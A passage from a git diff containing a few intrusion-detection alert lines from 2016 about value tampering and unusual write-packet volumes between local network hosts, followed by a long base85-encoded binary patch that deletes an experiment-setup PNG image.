Alert] Value tampering detected, src: 192.168.0.100, dst: 192.168.0.101 - -09 Jul 2016 14:47:01: [Critical Alert] Value tampering detected, src: 192.168.0.100, dst: 192.168.0.101 - -09 Jul 2016 14:47:16: [Medium Alert] High Quantity - 184 x Write packets, src: 192.168.0.12, dst: 192.168.0.101, time interval: 45 ---> Unusual time for this activity - -09 Jul 2016 15:54:39: [Medium Alert] High Quantity - 5 x Write packets, src: 192.168.0.12, dst: 192.168.0.101, time interval: 55 ---> Unusual time for this activity - diff --git a/Experiment Setup.png b/Experiment Setup.png deleted file mode 100644 index cc80a478007244e6cd3e55eac467b68d6a649b38..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 53270 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 